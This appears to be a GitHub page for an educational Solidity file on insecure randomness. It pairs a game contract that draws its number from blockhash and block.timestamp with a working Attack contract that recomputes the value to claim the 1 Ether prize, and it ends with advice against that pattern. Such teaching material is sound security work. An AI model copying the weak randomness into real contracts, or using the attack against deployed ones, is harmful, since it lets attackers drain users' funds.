-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path06Randomness.sol
More file actions
67 lines (51 loc) · 1.67 KB
/
06Randomness.sol
File metadata and controls
67 lines (51 loc) · 1.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
#Source of Randomness
##Vulnerability
blockhash and block.timestamp are not reliable sources for randomness.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
NOTE: cannot use blockhash in Remix so use ganache-cli
npm i -g ganache-cli
ganache-cli
In remix switch environment to Web3 provider
*/
/*
GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.
At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.
1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether
What happened?
Attack computed the correct answer by simply copying the code that computes the random number.
*/
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
/*
##Preventative Techniques
Don't use blockhash and block.timestamp as source of randomness
*/